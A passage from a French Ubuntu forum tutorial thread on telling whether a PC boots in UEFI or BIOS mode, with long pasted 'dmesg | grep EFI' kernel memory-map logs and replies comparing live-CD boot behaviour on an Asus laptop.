[ 0.000000] EFI: mem15: type=7, attr=0xf, range=[0x000000003de05000-0x000000003de50000) (0MB)
[ 0.000000] EFI: mem16: type=1, attr=0xf, range=[0x000000003de50000-0x000000003de70000) (0MB)
[ 0.000000] EFI: mem17: type=4, attr=0xf, range=[0x000000003de70000-0x000000003de71000) (0MB)
[ 0.000000] EFI: mem18: type=7, attr=0xf, range=[0x000000003de71000-0x000000003de95000) (0MB)
[ 0.000000] EFI: mem19: type=2, attr=0xf, range=[0x000000003de95000-0x000000003de9b000) (0MB)
[ 0.000000] EFI: mem20: type=4, attr=0xf, range=[0x000000003de9b000-0x000000003dea1000) (0MB)
[ 0.000000] EFI: mem21: type=7, attr=0xf, range=[0x000000003dea1000-0x000000003dea4000) (0MB)
[ 0.000000] EFI: mem22: type=2, attr=0xf, range=[0x000000003dea4000-0x000000003dea7000) (0MB)
[ 0.000000] EFI: mem23: type=4, attr=0xf, range=[0x000000003dea7000-0x000000003deb1000) (0MB)
[ 0.000000] EFI: mem24: type=2, attr=0xf, range=[0x000000003deb1000-0x000000003deba000) (0MB)
[ 0.000000] EFI: mem25: type=7, attr=0xf, range=[0x000000003deba000-0x000000003debb000) (0MB)
[ 0.000000] EFI: mem26: type=4, attr=0xf, range=[0x000000003debb000-0x000000003e7e7000) (9MB)
[ 0.000000] EFI: mem27: type=3, attr=0xf, range=[0x000000003e7e7000-0x000000003e951000) (1MB)
[ 0.000000] EFI: mem28: type=4, attr=0xf, range=[0x000000003e951000-0x000000003e952000) (0MB)
[ 0.000000] EFI: mem29: type=3, attr=0xf, range=[0x000000003e952000-0x000000003e9d3000) (0MB)
[ 0.000000] EFI: mem30: type=5, attr=0x800000000000000f, range=[0x000000003e9d3000-0x000000003e9f6000) (0MB)
[ 0.000000] EFI: mem31: type=3, attr=0xf, range=[0x000000003e9f6000-0x000000003ea20000) (0MB)
[ 0.000000] EFI: mem32: type=5, attr=0x800000000000000f, range=[0x000000003ea20000-0x000000003ea35000) (0MB)
[ 0.000000] EFI: mem33: type=0, attr=0xf, range=[0x000000003ea35000-0x000000003ea36000) (0MB)
[ 0.000000] EFI: mem34: type=4, attr=0xf, range=[0x000000003ea36000-0x000000003eed3000) (4MB)
[ 0.000000] EFI: mem35: type=3, attr=0xf, range=[0x000000003eed3000-0x000000003eede000) (0MB)
[ 0.000000] EFI: mem36: type=4, attr=0xf, range=[0x000000003eede000-0x000000003f83f000) (9MB)
[ 0.000000] EFI: mem37: type=7, attr=0xf, range=[0x000000003f83f000-0x000000003f843000) (0MB)
[ 0.000000] EFI: mem38: type=3, attr=0xf, range=[0x000000003f843000-0x000000003f8be000) (0MB)
[ 0.000000] EFI: mem39: type=5, attr=0x800000000000000f, range=[0x000000003f8be000-0x000000003f8cc000) (0MB)
[ 0.000000] EFI: mem40: type=3, attr=0xf, range=[0x000000003f8cc000-0x000000003f913000) (0MB)
[ 0.000000] EFI: mem41: type=5, attr=0x800000000000000f, range=[0x000000003f913000-0x000000003f922000) (0MB)
[ 0.000000] EFI: mem42: type=3, attr=0xf, range=[0x000000003f922000-0x000000003f92f000) (0MB)
[ 0.000000] EFI: mem43: type=5, attr=0x800000000000000f, range=[0x000000003f92f000-0x000000003f933000) (0MB)
[ 0.000000] EFI: mem44: type=5, attr=0x800000000000000f, range=[0x000000003f933000-0x000000003f94f000) (0MB)
[ 0.000000] EFI: mem45: type=6, attr=0x800000000000000f, range=[0x000000003f94f000-0x000000003f985000) (0MB)
[ 0.000000] EFI: mem46: type=6, attr=0x800000000000000f, range=[0x000000003f985000-0x000000003f99f000) (0MB)
[ 0.000000] EFI: mem47: type=9, attr=0xf, range=[0x000000003f99f000-0x000000003f9b5000) (0MB)
[ 0.000000] EFI: mem48: type=9, attr=0xf, range=[0x000000003f9b5000-0x000000003f9bb000) (0MB)
[ 0.000000] EFI: mem49: type=10, attr=0xf, range=[0x000000003f9bb000-0x000000003f9bc000) (0MB)
[ 0.000000] EFI: mem50: type=10, attr=0xf, range=[0x000000003f9bc000-0x000000003f9bf000) (0MB)
[ 0.000000] EFI: mem51: type=4, attr=0xf, range=[0x000000003f9bf000-0x000000003fee0000) (5MB)
[ 0.000000] EFI: mem52: type=6, attr=0x800000000000000f, range=[0x000000003fee0000-0x000000003ff00000) (0MB)
[ 0.666999] fb0: EFI VGA frame buffer device
[ 1.083445] EFI Variables Facility v0.08 2004-May-17
A signaler : quand on est dans ce CAS 2, le live CD Ubuntu ne démarre pas comme habituellement. Il propose un menu Grub comme sur cette vue :
---------------------------------------------------------------------------------------------------------------------------------------------------------------
QU'EST-CE QU'ON EN FAIT ?
Si vous êtes dans le CAS 1, vous vous apprêtez à installer Ubuntu de façon classique. C'est sympa ? Pas forcément parce que ça dépend des goûts et des habitudes : si Windows est préinstallé en mode UEFI et que vous installez Ubuntu en mode Bios, il faudra passer par le "Bios" ( ou ce qui en tient lieu sur votre PC) pour passer par Ubuntu ou par Windows (pas de menu Grub proposant le dual-boot). C'est ce qui est arrivé à Ayu qui n'apprécie pas cette situation : http://forum.ubuntu-fr.org/viewtopic.php?id=738321
Si vous êtes dans le CAS 2, vous vous apprêtez à installer en mode UEFI. Je ne sais pas bien à l'heure actuelle (j'apprends) si le dual-boot géré par Grub sera possible dans tous les cas. Je veux dire qu'il faudra peut-être passer par le "Bios" pour certaines config ( ce qui n'est pas non plus une tragédie : il me semble que ces nouveaux "Bios" sont faits pour être vus et utilisés fréquemment alors que le vieux Bios était peu visité par le quidam ). Ce que je sais, c'est que la doc suivante ne vous concerne plus (vous allez utiliser grub-efi, pas grub-pc) : http://doc.ubuntu-fr.org/grub-pc
Et pleins d'autres doc du site - relatives au Bios - sont obsolètes pour vous. C'est le progrès.
Dernière modification par malbo (Le 30/10/2012, à 12:40)
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
Avec mon portable Asus, le livecd francophone 12.04 Desktop 64bits ne reconnait pas l'uefi, j'ai du utilisé le cd ubuntu.com.
Hors ligne
YannUbuntu
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
Avec mon portable Asus, le livecd francophone 12.04 Desktop 64bits ne reconnait pas l'uefi, j'ai du utilisé le cd ubuntu.com.
Bonjour
Pouvez-vous indiquer le résultat de "dmesg | grep EFI" saisi dans chacun des live-CD svp ?
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
en fait j'ai rebooter sur chacun des livecd, et la chose est plus subtile que je le pensais.
Avec le livecd francophe :
J'appuie sur ECHAP au démarrage pour avoir le bootmenu, dans la liste apparait entre autre P2:MASHITA........., que je sélectionne.
Le résultat de dmesg | grep EFI :
[ 4.832430] EFI Variables Facility v0.08 2004-May-17
Avec le livecd "original" :
J'appuie sur ECHAP au démarrage pour avoir le bootmenu, dans la liste apparait entre
- P2:MASHITA...... et
- UEFI P2:MASHITA.....
si je sélectionne le premier j'ai la même réponse à la commande dmesg.
Par contre si je sélectionne le second j'ai :
[ 0.000000] EFI v2.31 by American Megatrends
[ 0.000000] Kernel-defined memdesc doesn't match the one from EFI!
[ 0.000000] EFI: mem00: type=3, attr=0xf, range=[0x0000000000000000-0x0000000000008000) (0MB)
[ 0.000000] EFI: mem01: type=7, attr=0xf, range=[0x0000000000008000-0x000000000004e000) (0MB)
[ 0.000000] EFI: mem02: type=4, attr=0xf, range=[0x000000000004e000-0x0000000000060000) (0MB)
[ 0.000000] EFI: mem03: type=3, attr=0xf, range=[0x0000000000060000-0x000000000009f000) (0MB)
[ 0.000000] EFI: mem04: type=6, attr=0x800000000000000f, range=[0x000000000009f000-0x00000000000a0000) (0MB)
[ 0.000000] EFI: mem05: type=2, attr=0xf, range=[0x0000000000100000-0x00000000005b9000) (4MB)
[ 0.000000] EFI: mem06: type=7, attr=0xf, range=[0x00000000005b9000-0x0000000001000000) (10MB)
[ 0.000000] EFI: mem07: type=2, attr=0xf, range=[0x0000000001000000-0x0000000001100000) (1MB)
[ 0.000000] EFI: mem08: type=7, attr=0xf, range=[0x0000000001100000-0x0000000008000000) (111MB)
[ 0.000000] EFI: mem09: type=4, attr=0xf, range=[0x0000000008000000-0x0000000008837000) (8MB)
[ 0.000000] EFI: mem10: type=3, attr=0xf, range=[0x0000000008837000-0x0000000008839000) (0MB)
[ 0.000000] EFI: mem11: type=4, attr=0xf, range=[0x0000000008839000-0x0000000008882000) (0MB)
[ 0.000000] EFI: mem12: type=3, attr=0xf, range=[0x0000000008882000-0x0000000008886000) (0MB)
[ 0.000000] EFI: mem13: type=4, attr=0xf, range=[0x0000000008886000-0x000000000888b000) (0MB)
[ 0.000000] EFI: mem14: type=3, attr=0xf, range=[0x000000000888b000-0x000000000888c000) (0MB)
[ 0.000000] EFI: mem15: type=4, attr=0xf, range=[0x000000000888c000-0x000000000888e000) (0MB)
[ 0.000000] EFI: mem16: type=3, attr=0xf, range=[0x000000000888e000-0x000000000888f000) (0MB)
[ 0.000000] EFI: mem17: type=4, attr=0xf, range=[0x000000000888f000-0x0000000008892000) (0MB)
[ 0.000000] EFI: mem18: type=3, attr=0xf, range=[0x0000000008892000-0x00000000088a2000) (0MB)
[ 0.000000] EFI: mem19: type=4, attr=0xf, range=[0x00000000088a2000-0x0000000008ca5000) (4MB)
[ 0.000000] EFI: mem20: type=3, attr=0xf, range=[0x0000000008ca5000-0x0000000008ca6000) (0MB)
[ 0.000000] EFI: mem21: type=4, attr=0xf, range=[0x0000000008ca6000-0x0000000008caa000) (0MB)
[ 0.000000] EFI: mem22: type=3, attr=0xf, range=[0x0000000008caa000-0x0000000008cab000) (0MB)
[ 0.000000] EFI: mem23: type=4, attr=0xf, range=[0x0000000008cab000-0x0000000008cb0000) (0MB)
[ 0.000000] EFI: mem24: type=3, attr=0xf, range=[0x0000000008cb0000-0x0000000008cb1000) (0MB)
[ 0.000000] EFI: mem25: type=4, attr=0xf, range=[0x0000000008cb1000-0x0000000008cb2000) (0MB)
[ 0.000000] EFI: mem26: type=3, attr=0xf, range=[0x0000000008cb2000-0x0000000008cb5000) (0MB)
[ 0.000000] EFI: mem27: type=4, attr=0xf, range=[0x0000000008cb5000-0x0000000008cb7000) (0MB)
[ 0.000000] EFI: mem28: type=3, attr=0xf, range=[0x0000000008cb7000-0x0000000008cb8000) (0MB)
[ 0.000000] EFI: mem29: type=4, attr=0xf, range=[0x0000000008cb8000-0x0000000008cc4000) (0MB)
[ 0.000000] EFI: mem30: type=3, attr=0xf, range=[0x0000000008cc4000-0x0000000008cc8000) (0MB)
[ 0.000000] EFI: mem31: type=4, attr=0xf, range=[0x0000000008cc8000-0x0000000008cc9000) (0MB)
[ 0.000000] EFI: mem32: type=3, attr=0xf, range=[0x0000000008cc9000-0x0000000008cca000) (0MB)
[ 0.000000] EFI: mem33: type=4, attr=0xf, range=[0x0000000008cca000-0x0000000008cd6000) (0MB)
[ 0.000000] EFI: mem34: type=3, attr=0xf, range=[0x0000000008cd6000-0x0000000008cd9000) (0MB)
[ 0.000000] EFI: mem35: type=4, attr=0xf, range=[0x0000000008cd9000-0x0000000008cda000) (0MB)
[ 0.000000] EFI: mem36: type=3, attr=0xf, range=[0x0000000008cda000-0x0000000008cdc000) (0MB)
[ 0.000000] EFI: mem37: type=4, attr=0xf, range=[0x0000000008cdc000-0x0000000008cde000) (0MB)
[ 0.000000] EFI: mem38: type=3, attr=0xf, range=[0x0000000008cde000-0x0000000008cdf000) (0MB)
[ 0.000000] EFI: mem39: type=4, attr=0xf, range=[0x0000000008cdf000-0x0000000008cee000) (0MB)
[ 0.000000] EFI: mem40: type=3, attr=0xf, range=[0x0000000008cee000-0x0000000008cef000) (0MB)
[ 0.000000] EFI: mem41: type=4, attr=0xf, range=[0x0000000008cef000-0x0000000008cf7000) (0MB)
[ 0.000000] EFI: mem42: type=3, attr=0xf, range=[0x0000000008cf7000-0x0000000008cfb000) (0MB)
[ 0.000000] EFI: mem43: type=4, attr=0xf, range=[0x0000000008cfb000-0x0000000008d03000) (0MB)
[ 0.000000] EFI: mem44: type=3, attr=0xf, range=[0x0000000008d03000-0x0000000008d06000) (0MB)
[ 0.000000] EFI: mem45: type=4, attr=0xf, range=[0x0000000008d06000-0x0000000008d0b000) (0MB)
[ 0.000000] EFI: mem46: type=3, attr=0xf, range=[0x0000000008d0b000-0x0000000008d0c000) (0MB)
[ 0.000000] EFI: mem47: type=4, attr=0xf, range=[0x0000000008d0c000-0x0000000008d0e000) (0MB)
[ 0.000000] EFI: mem48: type=3, attr=0xf, range=[0x0000000008d0e000-0x0000000008d12000) (0MB)
[ 0.000000] EFI: mem49: type=4, attr=0xf, range=[0x0000000008d12000-0x0000000008d76000) (0MB)
[ 0.000000] EFI: mem50: type=3, attr=0xf, range=[0x0000000008d76000-0x0000000008d77000) (0MB)
[ 0.000000] EFI: mem51: type=4, attr=0xf, range=[0x0000000008d77000-0x0000000008d78000) (0MB)
[ 0.000000] EFI: mem52: type=3, attr=0xf, range=[0x0000000008d78000-0x0000000008d79000) (0MB)
[ 0.000000] EFI: mem53: type=4, attr=0xf, range=[0x0000000008d79000-0x0000000008d83000) (0MB)
[ 0.000000] EFI: mem54: type=3, attr=0xf, range=[0x0000000008d83000-0x0000000008d88000) (0MB)
[ 0.000000] EFI: mem55: type=4, attr=0xf, range=[0x0000000008d88000-0x0000000008d9e000) (0MB)
[ 0.000000] EFI: mem56: type=3, attr=0xf, range=[0x0000000008d9e000-0x0000000008d9f000) (0MB)
[ 0.000000] EFI: mem57: type=4, attr=0xf, range=[0x0000000008d9f000-0x0000000008da1000) (0MB)
[ 0.000000] EFI: mem58: type=3, attr=0xf, range=[0x0000000008da1000-0x0000000008dab000) (0MB)
[ 0.000000] EFI: mem59: type=4, attr=0xf, range=[0x0000000008dab000-0x0000000008dba000) (0MB)
[ 0.000000] EFI: mem60: type=3, attr=0xf, range=[0x0000000008dba000-0x0000000008dbe000) (0MB)
[ 0.000000] EFI: mem61: type=4, attr=0xf, range=[0x0000000008dbe000-0x0000000008dc8000) (0MB)
[ 0.000000] EFI: mem62: type=3, attr=0xf, range=[0x0000000008dc8000-0x0000000008dc9000) (0MB)
[ 0.000000] EFI: mem63: type=4, attr=0xf, range=[0x0000000008dc9000-0x0000000008dcd000) (0MB)
[ 0.000000] EFI: mem64: type=3, attr=0xf, range=[0x0000000008dcd000-0x0000000008dd3000) (0MB)
[ 0.000000] EFI: mem65: type=4, attr=0xf, range=[0x0000000008dd3000-0x0000000008ddd000) (0MB)
[ 0.000000] EFI: mem66: type=3, attr=0xf, range=[0x0000000008ddd000-0x0000000008de2000) (0MB)
[ 0.000000] EFI: mem67: type=4, attr=0xf, range=[0x0000000008de2000-0x0000000008de6000) (0MB)
[ 0.000000] EFI: mem68: type=3, attr=0xf, range=[0x0000000008de6000-0x0000000008dea000) (0MB)
[ 0.000000] EFI: mem69: type=4, attr=0xf, range=[0x0000000008dea000-0x0000000008df1000) (0MB)
[ 0.000000] EFI: mem70: type=3, attr=0xf, range=[0x0000000008df1000-0x0000000008df3000) (0MB)
[ 0.000000] EFI: mem71: type=4, attr=0xf, range=[0x0000000008df3000-0x0000000008df4000) (0MB)
[ 0.000000] EFI: mem72: type=3, attr=0xf, range=[0x0000000008df4000-0x0000000008dfa000) (0MB)
[ 0.000000] EFI: mem73: type=4, attr=0xf, range=[0x0000000008dfa000-0x0000000008dfb000) (0MB)
[ 0.000000] EFI: mem74: type=3, attr=0xf, range=[0x0000000008dfb000-0x0000000008dfd000) (0MB)
[ 0.000000] EFI: mem75: type=4, attr=0xf, range=[0x0000000008dfd000-0x0000000008e07000) (0MB)
[ 0.000000] EFI: mem76: type=3, attr=0xf, range=[0x0000000008e07000-0x0000000008e0c000) (0MB)
[ 0.000000] EFI: mem77: type=4, attr=0xf, range=[0x0000000008e0c000-0x0000000008e0d000) (0MB)
[ 0.000000] EFI: mem78: type=3, attr=0xf, range=[0x0000000008e0d000-0x0000000008e0e000) (0MB)
[ 0.000000] EFI: mem79: type=4, attr=0xf, range=[0x0000000008e0e000-0x0000000008e0f000) (0MB)
[ 0.000000] EFI: mem80: type=3, attr=0xf, range=[0x0000000008e0f000-0x0000000008e11000) (0MB)
[ 0.000000] EFI: mem81: type=4, attr=0xf, range=[0x0000000008e11000-0x0000000008e14000) (0MB)
[ 0.000000] EFI: mem82: type=3, attr=0xf, range=[0x0000000008e14000-0x0000000008e15000) (0MB)
[ 0.000000] EFI: mem83: type=4, attr=0xf, range=[0x0000000008e15000-0x0000000008e1a000) (0MB)
[ 0.000000] EFI: mem84: type=3, attr=0xf, range=[0x0000000008e1a000-0x0000000008e1c000) (0MB)
[ 0.000000] EFI: mem85: type=4, attr=0xf, range=[0x0000000008e1c000-0x0000000008e21000) (0MB)
[ 0.000000] EFI: mem86: type=3, attr=0xf, range=[0x0000000008e21000-0x0000000008e22000) (0MB)
[ 0.000000] EFI: mem87: type=4, attr=0xf, range=[0x0000000008e22000-0x0000000008e30000) (0MB)
[ 0.000000] EFI: mem88: type=3, attr=0xf, range=[0x0000000008e30000-0x0000000008e33000) (0MB)
[ 0.000000] EFI: mem89: type=4, attr=0xf, range=[0x0000000008e33000-0x0000000008e44000) (0MB)
[ 0.000000] EFI: mem90: type=3, attr=0xf, range=[0x0000000008e44000-0x0000000008e4e000) (0MB)
[ 0.000000] EFI: mem91: type=4, attr=0xf, range=[0x0000000008e4e000-0x0000000008e51000) (0MB)
[ 0.000000] EFI: mem92: type=3, attr=0xf, range=[0x0000000008e51000-0x0000000008e54000) (0MB)
[ 0.000000] EFI: mem93: type=4, attr=0xf, range=[0x0000000008e54000-0x0000000008e5f000) (0MB)
[ 0.000000] EFI: mem94: type=3, attr=0xf, range=[0x0000000008e5f000-0x0000000008e61000) (0MB)
[ 0.000000] EFI: mem95: type=4, attr=0xf, range=[0x0000000008e61000-0x0000000008e62000) (0MB)
[ 0.000000] EFI: mem96: type=3, attr=0xf, range=[0x0000000008e62000-0x0000000008e67000) (0MB)
[ 0.000000] EFI: mem97: type=4, attr=0xf, range=[0x0000000008e67000-0x0000000008e76000) (0MB)
[ 0.000000] EFI: mem98: type=3, attr=0xf, range=[0x0000000008e76000-0x0000000008e7c000) (0MB)
[ 0.000000] EFI: mem99: type=4, attr=0xf, range=[0x0000000008e7c000-0x0000000008e86000) (0MB)
[ 0.000000] EFI: mem100: type=3, attr=0xf, range=[0x0000000008e86000-0x0000000008e89000) (0MB)
[ 0.000000] EFI: mem101: type=4, attr=0xf, range=[0x0000000008e89000-0x0000000008e91000) (0MB)
[ 0.000000] EFI: mem102: type=3, attr=0xf, range=[0x0000000008e91000-0x0000000008e95000) (0MB)
[ 0.000000] EFI: mem103: type=4, attr=0xf, range=[0x0000000008e95000-0x0000000008eae000) (0MB)
[ 0.000000] EFI: mem104: type=3, attr=0xf, range=[0x0000000008eae000-0x0000000008eaf000) (0MB)
[ 0.000000] EFI: mem105: type=4, attr=0xf, range=[0x0000000008eaf000-0x0000000008eb4000) (0MB)
[ 0.000000] EFI: mem106: type=3, attr=0xf, range=[0x0000000008eb4000-0x0000000008ec7000) (0MB)
[ 0.000000] EFI: mem107: type=4, attr=0xf, range=[0x0000000008ec7000-0x0000000008ecd000) (0MB)
[ 0.000000] EFI: mem108: type=3, attr=0xf, range=[0x0000000008ecd000-0x0000000008ed0000) (0MB)
[ 0.000000] EFI: mem109: type=4, attr=0xf, range=[0x0000000008ed0000-0x0000000008ed6000) (0MB)
[ 0.000000] EFI: mem110: type=3, attr=0xf, range=[0x0000000008ed6000-0x0000000008ed8000) (0MB)
[ 0.000000] EFI: mem111: type=4, attr=0xf, range=[0x0000000008ed8000-0x0000000008ed9000) (0MB)
[ 0.000000] EFI: mem112: type=3, attr=0xf, range=[0x0000000008ed9000-0x0000000008edc000) (0MB)
[ 0.000000] EFI: mem113: type=4, attr=0xf, range=[0x0000000008edc000-0x0000000008ef5000) (0MB)
[ 0.000000] EFI: mem114: type=3, attr=0xf, range=[0x0000000008ef5000-0x0000000008ef6000) (0MB)
[ 0.000000] EFI: mem115: type=4, attr=0xf, range=[0x0000000008ef6000-0x0000000008f00000) (0MB)
[ 0.000000] EFI: mem116: type=3, attr=0xf, range=[0x0000000008f00000-0x0000000008f04000) (0MB)
[ 0.000000] EFI: mem117: type=4, attr=0xf, range=[0x0000000008f04000-0x0000000008f07000) (0MB)
[ 0.000000] EFI: mem118: type=3, attr=0xf, range=[0x0000000008f07000-0x0000000008f1b000) (0MB)
[ 0.000000] EFI: mem119: type=4, attr=0xf, range=[0x0000000008f1b000-0x0000000008f28000) (0MB)
[ 0.000000] EFI: mem120: type=3, attr=0xf, range=[0x0000000008f28000-0x0000000008f30000) (0MB)
[ 0.000000] EFI: mem121: type=4, attr=0xf, range=[0x0000000008f30000-0x0000000008f32000) (0MB)
[ 0.000000] EFI: mem122: type=3, attr=0xf, range=[0x0000000008f32000-0x0000000008f34000) (0MB)
[ 0.000000] EFI: mem123: type=4, attr=0xf, range=[0x0000000008f34000-0x0000000008f37000) (0MB)
[ 0.000000] EFI: mem124: type=3, attr=0xf, range=[0x0000000008f37000-0x0000000008f4c000) (0MB)
[ 0.000000] EFI: mem125: type=4, attr=0xf, range=[0x0000000008f4c000-0x0000000008f54000) (0MB)
[ 0.000000] EFI: mem126: type=3, attr=0xf, range=[0x0000000008f54000-0x0000000008f59000) (0MB)
[ 0.000000] EFI: mem127: type=4, attr=0xf, range=[0x0000000008f59000-0x0000000008f5a000) (0MB)
[ 0.000000] EFI: mem128: type=3, attr=0xf, range=[0x0000000008f5a000-0x0000000008f60000) (0MB)
[ 0.000000] EFI: mem129: type=4, attr=0xf, range=[0x0000000008f60000-0x0000000008f66000) (0MB)
[ 0.000000] EFI: mem130: type=3, attr=0xf, range=[0x0000000008f66000-0x0000000008f6d000) (0MB)
[ 0.000000] EFI: mem131: type=4, attr=0xf, range=[0x0000000008f6d000-0x0000000008f78000) (0MB)
[ 0.000000] EFI: mem132: type=3, attr=0xf, range=[0x0000000008f78000-0x0000000008f7a000) (0MB)
[ 0.000000] EFI: mem133: type=4, attr=0xf, range=[0x0000000008f7a000-0x0000000008f7c000) (0MB)
[ 0.000000] EFI: mem134: type=3, attr=0xf, range=[0x0000000008f7c000-0x0000000008f81000) (0MB)
[ 0.000000] EFI: mem135: type=4, attr=0xf, range=[0x0000000008f81000-0x0000000008f93000) (0MB)
[ 0.000000] EFI: mem136: type=3, attr=0xf, range=[0x0000000008f93000-0x0000000008f97000) (0MB)
[ 0.000000] EFI: mem137: type=4, attr=0xf, range=[0x0000000008f97000-0x0000000008f9c000) (0MB)
[ 0.000000] EFI: mem138: type=3, attr=0xf, range=[0x0000000008f9c000-0x0000000008fa8000) (0MB)
[ 0.000000] EFI: mem139: type=4, attr=0xf, range=[0x0000000008fa8000-0x0000000008fae000) (0MB)
[ 0.000000] EFI: mem140: type=3, attr=0xf, range=[0x0000000008fae000-0x0000000008fb7000) (0MB)
[ 0.000000] EFI: mem141: type=4, attr=0xf, range=[0x0000000008fb7000-0x0000000008fbb000) (0MB)
[ 0.000000] EFI: mem142: type=3, attr=0xf, range=[0x0000000008fbb000-0x0000000008fbc000) (0MB)
[ 0.000000] EFI: mem143: type=4, attr=0xf, range=[0x0000000008fbc000-0x0000000008fd9000) (0MB)
[ 0.000000] EFI: mem144: type=3, attr=0xf, range=[0x0000000008fd9000-0x0000000008fdb000) (0MB)
[ 0.000000] EFI: mem145: type=4, attr=0xf, range=[0x0000000008fdb000-0x0000000008fdc000) (0MB)
[ 0.000000] EFI: mem146: type=3, attr=0xf, range=[0x0000000008fdc000-0x0000000008fdd000) (0MB)
[ 0.000000] EFI: mem147: type=4, attr=0xf, range=[0x0000000008fdd000-0x0000000008fe6000) (0MB)
[ 0.000000] EFI: mem148: type=3, attr=0xf, range=[0x0000000008fe6000-0x0000000008fff000) (0MB)
[ 0.000000] EFI: mem149: type=4, attr=0xf, range=[0x0000000008fff000-0x0000000009028000) (0MB)
[ 0.000000] EFI: mem150: type=3, attr=0xf, range=[0x0000000009028000-0x000000000902f000) (0MB)
[ 0.000000] EFI: mem151: type=4, attr=0xf, range=[0x000000000902f000-0x0000000009030000) (0MB)
[ 0.000000] EFI: mem152: type=3, attr=0xf, range=[0x0000000009030000-0x0000000009079000) (0MB)
[ 0.000000] EFI: mem153: type=4, attr=0xf, range=[0x0000000009079000-0x000000000907b000) (0MB)
[ 0.000000] EFI: mem154: type=3, attr=0xf, range=[0x000000000907b000-0x00000000090a4000) (0MB)
[ 0.000000] EFI: mem155: type=4, attr=0xf, range=[0x00000000090a4000-0x00000000090a5000) (0MB)
[ 0.000000] EFI: mem156: type=3, attr=0xf, range=[0x00000000090a5000-0x00000000090af000) (0MB)
[ 0.000000] EFI: mem157: type=4, attr=0xf, range=[0x00000000090af000-0x00000000090b3000) (0MB)
[ 0.000000] EFI: mem158: type=3, attr=0xf, range=[0x00000000090b3000-0x00000000090d5000) (0MB)
[ 0.000000] EFI: mem159: type=4, attr=0xf, range=[0x00000000090d5000-0x00000000090d8000) (0MB)
[ 0.000000] EFI: mem160: type=3, attr=0xf, range=[0x00000000090d8000-0x0000000009101000) (0MB)
[ 0.000000] EFI: mem161: type=4, attr=0xf, range=[0x0000000009101000-0x0000000009102000) (0MB)
[ 0.000000] EFI: mem162: type=3, attr=0xf, range=[0x0000000009102000-0x0000000009118000) (0MB)
[ 0.000000] EFI: mem163: type=4, attr=0xf, range=[0x0000000009118000-0x0000000009129000) (0MB)
[ 0.000000] EFI: mem164: type=3, attr=0xf, range=[0x0000000009129000-0x000000000912a000) (0MB)
[ 0.000000] EFI: mem165: type=4, attr=0xf, range=[0x000000000912a000-0x000000000912b000) (0MB)
[ 0.000000] EFI: mem166: type=3, attr=0xf, range=[0x000000000912b000-0x000000000913e000) (0MB)
[ 0.000000] EFI: mem167: type=4, attr=0xf, range=[0x000000000913e000-0x0000000009146000) (0MB)
[ 0.000000] EFI: mem168: type=3, attr=0xf, range=[0x0000000009146000-0x0000000009150000) (0MB)
[ 0.000000] EFI: mem169: type=4, attr=0xf, range=[0x0000000009150000-0x0000000009154000) (0MB)
[ 0.000000] EFI: mem170: type=3, attr=0xf, range=[0x0000000009154000-0x00000000091dc000) (0MB)
[ 0.000000] EFI: mem171: type=4, attr=0xf, range=[0x00000000091dc000-0x00000000091de000) (0MB)
[ 0.000000] EFI: mem172: type=3, attr=0xf, range=[0x00000000091de000-0x00000000091df000) (0MB)
[ 0.000000] EFI: mem173: type=4, attr=0xf, range=[0x00000000091df000-0x00000000091e2000) (0MB)
[ 0.000000] EFI: mem174: type=3, attr=0xf, range=[0x00000000091e2000-0x00000000091e3000) (0MB)
[ 0.000000] EFI: mem175: type=4, attr=0xf, range=[0x00000000091e3000-0x00000000091f6000) (0MB)
[ 0.000000] EFI: mem176: type=3, attr=0xf, range=[0x00000000091f6000-0x00000000091fc000) (0MB)
[ 0.000000] EFI: mem177: type=4, attr=0xf, range=[0x00000000091fc000-0x00000000091fd000) (0MB)
[ 0.000000] EFI: mem178: type=3, attr=0xf, range=[0x00000000091fd000-0x00000000091ff000) (0MB)
[ 0.000000] EFI: mem179: type=4, attr=0xf, range=[0x00000000091ff000-0x0000000009204000) (0MB)
[ 0.000000] EFI: mem180: type=3, attr=0xf, range=[0x0000000009204000-0x000000000920a000) (0MB)
[ 0.000000] EFI: mem181: type=4, attr=0xf, range=[0x000000000920a000-0x0000000009242000) (0MB)
[ 0.000000] EFI: mem182: type=3, attr=0xf, range=[0x0000000009242000-0x0000000009248000) (0MB)
[ 0.000000] EFI: mem183: type=4, attr=0xf, range=[0x0000000009248000-0x000000000924f000) (0MB)
[ 0.000000] EFI: mem184: type=3, attr=0xf, range=[0x000000000924f000-0x0000000009262000) (0MB)
[ 0.000000] EFI: mem185: type=4, attr=0xf, range=[0x0000000009262000-0x000000000928d000) (0MB)
[ 0.000000] EFI: mem186: type=3, attr=0xf, range=[0x000000000928d000-0x000000000928f000) (0MB)
[ 0.000000] EFI: mem187: type=4, attr=0xf, range=[0x000000000928f000-0x0000000009291000) (0MB)
[ 0.000000] EFI: mem188: type=3, attr=0xf, range=[0x0000000009291000-0x0000000009293000) (0MB)
[ 0.000000] EFI: mem189: type=4, attr=0xf, range=[0x0000000009293000-0x000000000929a000) (0MB)
[ 0.000000] EFI: mem190: type=3, attr=0xf, range=[0x000000000929a000-0x00000000092a7000) (0MB)
[ 0.000000] EFI: mem191: type=4, attr=0xf, range=[0x00000000092a7000-0x00000000092b5000) (0MB)
[ 0.000000] EFI: mem192: type=3, attr=0xf, range=[0x00000000092b5000-0x00000000092e3000) (0MB)
[ 0.000000] EFI: mem193: type=4, attr=0xf, range=[0x00000000092e3000-0x00000000092ec000) (0MB)
[ 0.000000] EFI: mem194: type=3, attr=0xf, range=[0x00000000092ec000-0x00000000092ef000) (0MB)
[ 0.000000] EFI: mem195: type=4, attr=0xf, range=[0x00000000092ef000-0x0000000012b46000) (152MB)
[ 0.000000] EFI: mem196: type=7, attr=0xf, range=[0x0000000012b46000-0x0000000012b4a000) (0MB)
[ 0.000000] EFI: mem197: type=2, attr=0xf, range=[0x0000000012b4a000-0x0000000012b4c000) (0MB)
[ 0.000000] EFI: mem198: type=7, attr=0xf, range=[0x0000000012b4c000-0x0000000012d14000) (1MB)
[ 0.000000] EFI: mem199: type=4, attr=0xf, range=[0x0000000012d14000-0x0000000012d18000) (0MB)
